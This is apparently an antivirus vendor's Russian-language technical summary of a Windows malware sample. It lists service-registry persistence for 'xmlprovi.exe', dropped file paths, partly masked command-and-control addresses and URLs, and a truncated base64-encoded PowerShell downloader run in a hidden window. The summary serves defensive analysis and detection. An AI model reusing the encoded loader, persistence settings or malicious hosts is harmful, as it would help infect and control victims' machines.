Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\xmlprovi] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\xmlprovi] 'ImagePath' = '"%WINDIR%\SysWOW64\instnm\xmlprovi.exe"'
- 'xmlprovi' "%WINDIR%\SysWOW64\instnm\xmlprovi.exe"
- 'xmlprovi' %WINDIR%\SysWOW64\instnm\xmlprovi.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABXADUAZQBqAGIAaAA2AD0AKAAnAEIANQAnACsAJwBmADMAJwArACgAJwBrACcAKwAnAHMAdgAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUAbgB2ADoAVQBzAEUAcgBwAFIAbwBmAEkATABlAFwAQg...
- %HOMEPATH%\bni10nr\ukvxvj7\r7wzoxw.exe
- %WINDIR%\syswow64\instnm\xmlprovi.exe
- %HOMEPATH%\bni10nr\ukvxvj7\r7wzoxw.exe в %WINDIR%\syswow64\instnm\xmlprovi.exe
- '11#.#43.83.70':80
- '5.###.168.53':8080
- http://wj.##liym.top/wp-content/F/
- http://5.###.168.53:8080/XXmZQ96Q6EXTmwdt/F4dMf/z5YZWhQFcD9AtZ4z15/qn90qtg/YVGnP/ via 5.###.168.53
- DNS ASK wj.##liym.top
- '%HOMEPATH%\bni10nr\ukvxvj7\r7wzoxw.exe'
- '%WINDIR%\syswow64\instnm\xmlprovi.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -encod JABXADUAZQBqAGIAaAA2AD0AKAAnAEIANQAnACsAJwBmADMAJwArACgAJwBrACcAKwAnAHMAdgAnACkAKQA7ACYAKAAnAG4AZQB3ACcAKwAnAC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUAbgB2ADoAVQBzAEUAcgBwAFIAbwBmAEkATABlAFwAQg...' (со скрытым окном)